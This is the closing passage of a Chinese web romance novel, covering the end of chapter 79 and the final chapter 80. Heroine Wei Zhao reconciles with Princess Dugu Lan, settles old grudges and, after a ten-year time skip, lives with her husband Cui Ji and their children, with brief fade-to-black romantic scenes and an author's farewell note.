荣嬷嬷的态度比之以往有些不同,像是亲近了些, 恭敬了些。 她察觉到这一点后,心下有所猜测。 她们将将出客院没多久, 便看到不远处的崔绩。崔绩什么也没问, 什么也没说, 默默地跟在后面。 等到她要随荣嬷嬷进屋时, 崔绩才来了一句, “我在外面等你。” 这话不是说给她听的, 而是说给荣嬷嬷,或者说是独孤岚听的。 荣嬷嬷将她送进去后,示意她独自去内室。 她慢慢往里走, 穿过珠帘华锦,绕过凤穿牡丹的屏风,半抬着眼皮,朝靠坐在床头的人行礼问安。 大病还未痊愈,独孤岚的气色自然不太好,加之心境的变化,整个人看上去少了威严厉色,多了几分郁气。 “真没想到,竟是你救了本宫。” “是殿下福大命大。” 她不求有功,但求保命。 独孤岚看着她,目光有些复杂,“你这孩子确实是小心谨慎的性子,难怪多年来不显,无人知你底细。” 这是夸她,还是讽刺? 不等她细思,独孤岚又道:“以后在本宫面前,你不必如此。” 她还有以后! 也就是说,这位公主殿下会放过她。不管是什么原因让对方有此转变,对她而言已是极好的结果。 “谢殿下恩典。” 独孤岚的视线从她身上移开,透过半开的雕花窗,望向外面。那一水之隔的屋子,已经空无一人。 人散,曲也终,多年爱恨全是空。 “你告诉绩儿,樊城大牢那边关着的都是平南王与晋王一派,以及他们的余孽。当年燕王世子之死,确系自尽而亡,并非本宫从中做了什么手脚。” 她闻言,心头一跳。 很快又反应过来,以这位殿下的手段,若是有丁点的怀疑,必有通天的手段找出真相。哪怕卧病在榻,也不会真的只是养病。 只是为何让她转告? 旋即,她明白了。 她拿出了强心丹,独孤岚就算没有查到她救李戌之事,也应该想到那日左更搜查崔府时,是她帮崔绩做的掩护。 以独孤岚的骄傲与行事作风,哪怕经历过生死,心态已有所改变,也不可能撇弃自己的性情,一夕之间变成慈爱的长辈。 “本宫乏了,你退下吧。” 她遵命,行礼告退。 将将绕过屏风,隐约听到独孤岚似是叹了一口气,“你和绩儿的事,本宫不会再反对。” * 半个月后。 方勒将戴着面纱的魏昭引进一家茶楼,这茶楼离幽篁馆不远。 上了二楼后,方勒指了指靠面里的一处雅间,道:“姑娘,人就在里面。” 魏昭点了点头,让他在外面等着。 自从赵狄死后,人面桃花的铺子重新开门,他以掌柜的身份在外行走,或是与人谈生意,或是亲自送货。 今日他的由头就是约客人相见,而这个客人是幽篁馆的洛公子。 洛公子看到进来的人是魏昭,竟然没有意外。 魏昭对他的反应也不奇怪,两人视线相遇时,皆是探究与思量。 “不知魏姑娘找奴,所为何事?” “我有些想托你转告木公子。”魏昭直视着他的眼睛,没有错过他眼底一闪而过的惊讶,“我知道你和他相熟,故而才会来找你。” 他摇了扇子,笑了笑,“没想到魏姑娘还是个念旧之人,奴确实和他有些交情,倒是可以代为传话。” 可以就好。 魏昭不再试探他,道:“你告诉他,他要找的那个人已经死了,死前很平静,没有怨尤,让他不必执着。” 他听到这话神情变了变,捏着扇子的手紧了紧。 尔后,应是意识到自己的些许失态,装作难过的样子,“奴不知他要找什么人,想来对他十分重要。魏姑娘放心,奴一定会转告他。” “既如此,那就多谢公子。” 魏昭转身之际,似不经意般感慨,“很多事早已过去,是非对错全都作古,若非要困囿自己,只会虚度自己的年华,何不彻底放下,过自己的日子。” “这也是魏姑娘让奴转告他的话?”洛公子问。 她没有回答,开门出去。 人一走,洛公子立马将门关上,“出来吧。” 梅竹雅韵的屏风后,缓缓走出一人。 一袭青衫,长相清俊,正是李戌。 “她说的话你都听到了,也该放下了。” “当年的事已经拨乱反正,我确实应该放下。” 李戌说的拨乱反正,指的是陛下已昭告天下,一是漠北王异动之事,虽有违天威君令,却事出有因,非谋逆之举。二是正了燕王的名声,还其清白。 而这一切的推动者,就是独孤岚。 “她到底还是念着往日情义,将那人的消息告诉我,只是如此一来,我们之间的旧情也彻底散了。” 他慢慢走到窗边,垂着眼皮往下看。 人来人往的路上,不远处那抹绿色如春柳迎风,拨动人心而不自知。 如今想来幼年时,他们成日在一起打打闹闹无忧无虑的过往,好似一场梦,恍若上辈子发生的事。 半晌,他低声道:“或许以后再也不会见了。” * 魏昭出茶楼没多久,有两人随之跟出来。 一人着绯色官服,面如冠玉清冷出尘,另一人着浅绿色官服,英武俊朗严肃冷酷,正是崔绩和沈弼。 沈弼“啧啧”两声,不无揶揄地道:“孝白,你跟得可真够紧的,莫非是对自己不自信,怕魏姑娘被其他男子吸引,对你始乱终弃不成?” 崔绩淡睨他一眼,“我听说近日寿昌公主的身边又换了一批年轻的侍卫,你与其操心我,还不如担心你自己。” 他一听这话,人前冰山般的脸立马作苦相,“你说说我们俩怎么这么倒霉,当真是一对难兄弟难弟,竟然都成了赘婿。” “我不倒霉,我是三生有幸。” 崔绩说着,人已翻上马,去追魏昭的马车。 等追上之后,下马将其交给斗南。白鹤见状,赶紧一勒缰绳停下,他径直掀开车帘子,利落地上了马车。 马车再次启动,不徐不缓。 魏昭的马车空间不大,他一坐进来越显窄小,长腿随意一伸,便能碰到她的身体,仿佛启动了什么机关,瞬间让她浮想联翩。 她没有瞒着,说起方才见洛公子之事。 “该说的我都说了,漠北王和燕王的名声已正,倘若那些人还不知收手,继续在暗中兴风作浪,那就是找死。” 人心难测,这些年来躲在暗处搞事者,有几人真是为了漠北王和燕王不平,恐怕都掺杂着不为人知的目的。 崔绩整个身体都倾过来,由着自己的心,臂膀一伸将她搂住,下巴抵着她的发,“这事你别管了,我和沈弼会盯着。” 他们一个是安元府的少尹,一个是大理寺的少卿,天子脚下的事确实都归属他们管辖。 她没再说什么,任由他抱着。 马车继续前行,不是去往公主府,走的也不是去崔府的路。 自从独孤岚病好之后,她就离了公主府,先是在崔府住了几日,眼下已回到魏宅。 经过那座荒废的府邸时,听到有路人议论。 “我在这里住了这些年,现在才知道这座宅子原来是燕王旧府。” “谁说不是呢,可惜啊,燕王一脉已经没人了。” 听到这些话,魏昭轻声问,“你真的打算一直姓崔?” 崔绩“嗯”了一声,“于公于私,我都应该姓崔。独孤这个姓不适合我,我也更喜欢姓崔。” 倘若有人知道燕王还有后人在世,哪怕是他什么也不做,却难保不被有心之人拿此事作文章,或是挑拨或是利用。 很快马车就拐进了苦水巷,不多会儿停在魏宅门口。 下了马车后,魏昭没有急着进去,而是来回打量了一番连着的三间宅子,“这宅子既然已被你卖下,以后倒是可以一起打通。” 崔绩闻言,眼神骤然幽深,低眉道:“可以,随你处置。” 他们的事,连独孤岚都不反对,崔家那边自然是没人说什么。哪怕是盛氏,在和崔绩深谈之后也已妥协,同意他入赘魏家。 魏昭来了兴致,进到屋子后铺纸,准备画个草图,“我想在挖个池子,再建个凉亭,还有这里可以种搭个花圃……” 他走到她身后,一手环着她的细腰,一手控制着她作画的手,气息近在她发间,“这些事可以放一放,我们先歇息。” 当他的身体贴紧时,她清楚感知到危险的贲张。 很快整个人腾空,紧接着被放到床上。 初尝过情滋味的人,中间隔了这些时日,已经不能再忍,那被欲侵染的眼晴,如同无底的深渊,深渊的巨兽裹挟着狂风暴雨,一口一口地吞噬着身下的人。 她承受着,娇吟着。 床帐遮住所有的春光,随着里面的动静摇来摆去。 不知过了多久,摇摆停止。 仅是半刻钟后,男人暗沉的声音响起,“可缓好了?” 魏昭一听这话,本来就软的腿顿时失去了所有的力气。体内欢爱过后的余韵让她不由得战栗起来,似期待,也似认命。 她清楚地知道从今往后等待她的,是男人的欲求无度,是各种各样的姿势,极尽不可描述之事,没日没夜没羞没臊。 这就是限制文女主的日常!《 》 【终章】 第80章 * 一晃十年, 院子里的青梅树更为粗壮繁茂。 透过错几何图纹雕刻的窗,映入的是满眼的绿意盎然,绿的叶子, 绿的梅果,年年不落的喜鹊在期间叽叽喳喳。 魏昭收回视线, 重新落在镜子里,里面的美人已经褪去青稚, 眉目艳绝如画,肤如上等的凝脂,似全盛的牡丹,让人见之惊为天人。 不用上妆敷粉,已是美若桃妖。 她让白鹤给自己挽了个发, 仅用了一根簪子, 未见其他的发饰, 简简单单却不掩霞光万丈。莫说是旁人, 便是自己都会忍不住多看两眼。 美而自知,是她现在的心境。 桌案上, 是快写完的毒经。 近来闲了许多,她不知为何想起赵狄说的话, 思量着以她如今掌握的资料, 倒是可以编写一本毒经。 当然, 这些方子原本不是她的, 她事先已征得岳太医的同意。 岳太医就是公主府的那位会医术的嬷嬷, 早年跟在独孤岚身边, 那些用在凤燊身上的毒全是其研制出来的。 或许是书中的设定,或许是因果,她被系统左右时给崔绩下的那些药, 全都折磨过凤燊。倘若崔绩识不破,便能与凤燊感同身受。 她将收拾妥当,猫爬树的屏风后面,传来孩童的呓语声,“娘……” 不等白鹤先动,她已经快一步绕过屏风,打眼看到床上已经坐起的儿子,先是过去亲了亲他的额头,然后一把将他抱起。 他乖巧地窝在她怀里,玉雪般的脸上可见与崔绩相似的五官眉眼,正是他们三岁的儿子魏昉。 这些年他们一家几头住,有时住在魏宅,有时住在公主府,有时住在崔府,不时地轮换着,倒也习惯了。 母子俩腻歪了一会儿,她再给儿子穿衣。 用过饭后没多久,崔明意来了。 她们姑嫂感情一向不错,崔明意在她这里也极为随意,一来就和魏昉香亲,亲得魏昉咯咯直笑。 “我方才过来时,听说小七又被大伯罚禁闭了。” 崔明意口中的小七,是崔洵和魏绮罗的儿子崔业。 崔业今年八岁,自入学堂以来三天两头惹事,不是把同学打了,就是捉弄夫子,害得崔家时常给人赔礼道歉。 “你说大伯那稳重古板的性子,怎地生出小七那般顽皮的儿子?” 提到这个年龄差太多的弟弟,魏昭也有些头疼。 为了他的事,不光是崔洵,就连崔绩都不知赔出去多少笑脸,偏偏他不记打,也不怕被罚,只能关禁闭。 “还是我家昉儿省心。”崔明意继续逗着魏昉,笑着说,“昉儿最乖,千万别学你七叔,要学就学你爹,再不济学你六叔。” 等和侄子闹够了,她才说起自己的正事。 “我爹看中那位赵公子,我娘则觉得冯公子更好些,我一时有些拿不准主意,想着大嫂你看男人的眼光最好,不如你帮我参谋一二。” 十年过去,当年那个初回京时还是个孩子的人,眼下也到了谈婚论嫁的年纪。 魏昭心下感慨着,不由想到了以前的种种。 自从林氏送去庄子后,二房没了主母,夏姨娘和沈姨娘暗中争斗不断,然而她们都是妾室,再是彼此不相让,倒也没翻出多大的浪。 因为林氏的失势,崔明静在京中高攀不上什么好亲事,退而求其次地嫁去京外的高门,已有好几年没回过娘家。 崔明淑嫁在京中,夫家的门第不如崔家,但丈夫却是嫡长子,嫁过去三年后当家做主,再不见做姑娘时的性子,变得沉稳了许多,与崔家走动也频繁。 她的生母夏姨娘也沾了光,在后宅之中越发的有底气,与沈姨娘的争斗中,从未落过下风。但沈姨娘也没吃过多少亏,毕竟是二房独子的生母,真论起来比夏姨娘更有底气。 说到崔砚,也算是个争气的,虽天赋不算太高,却胜在勤勉努力,不说是其父崔涣,就是崔洵也颇为看重。 而三房这边,杨氏一直当着家,崔沪也没有纳妾,夫妻俩膝下还是只有崔明意一个女儿,是以对女儿的亲事,他们自然是挑了又挑,慎之又慎。 “若两人瞧着不相上下,那你就问问自己的心。” “我的心?”崔明意捂了捂自己的心口,“怎么问?” 魏昭笑了笑,“你看到谁更舒服更欢喜,你的心会给你答案。” 崔明意眼珠子一转,目光有几分揶揄,“所以当年大嫂你是不是一看到大哥就很欢喜?” “那是当然。”魏昭可不扭捏。 话音才一落,似有心有灵犀般朝门外望去,只见一抹青色,如皑皑雪山之巅的青松,清冷秀拔地到了跟前。 “大哥,你回来了!”崔明意惊呼着,在看到崔绩身后的人时,再次欢喜,“康宁也来了。” 那是一个约摸六七岁的女孩,有着让人过目不忘的好相貌,但更令人印象深刻的是她给人的感觉,恬静中又有超出年龄,以及异于常人的气度。 正是崔绩和魏昭的女儿魏和,小字康宁。 康宁不仅是她的字,也是她的封号。 她不到一岁时,独孤岚就给她请封了郡主。 见过她的人都说她长得像外祖母魏绮罗,只有真正知晓内情的人才知道,她长得更像祖母永嘉郡主。 正是因为她的长相,不止是独孤岚对她爱若珍宝,便是在崔洵和魏绮罗这边,也是远超亲生儿子崔业的存在。 “我和爹是在门口遇上的。”魏和这话是说给魏昭听的。 魏昭闻言,趁着崔明意不注意时,美目狠狠地剜了崔绩一眼。 崔绩也不心虚,目光晦沉,眼睛里只容得下她。 崔明意也是识趣之人,当下把魏昉搁在一旁,道:“大哥刚回来,肯定有很多话要和大嫂说,我改日再来。” 魏昉朝崔绩伸着手,“爹爹,抱抱。” 崔绩抱了他一会儿,将他交给魏和。 魏和牵着他的手,向父母告别。 他奶声奶气地问:“姐姐,我们是不是又要去曾外祖母那里?” “爹和娘有很多话说,这几天都顾不上我们,我们去公主府住几日,正好曾外祖母也想你了。”魏和哄着他,说话间姐弟俩已出了门。 “爹的话真多,几天都说不完,每次都这样。” 魏昭听到儿子的话,在已经欺身过来,意图不言而喻的男人腰间拧了一把,“你听听,如今连你儿子都看出来了!” 崔绩眉头都未皱一样,幽深的眸子里全是她,“看出来了更好,以后就不用我费心。” 一听他这话,她就知道自己猜的没错。 他和女儿哪里是在门口遇上的,分明是早就串联好的。 “你……” “我这次离京快半个月,你不想我?”他说着,将她往自己身上按,让她清楚感受自己有多想她。 她的身体早已熟悉他的一切,光是一个动作,便能勾起来势汹汹的潮涌。 这十年来他不止是气场越发的强大,某方面的能力更是与日俱增,与此同时需求也是层层递进。 当她被抱到床上时,突然翻身跨坐到他身上,“我要在上面。” 他清冷的眉眼已染上侵略的欲色,喉结滚动着,大掌握着她的细腰,艰难地逸出一个“好”字。 帐落,情起—— 作者有话说:本文到此已全部完结,感谢大家的一路陪伴和支持,我们下本见,么么哒~ 下本要开的文《我和大反派相依为命的日子》,希望大家继续支持,多多收藏~《 》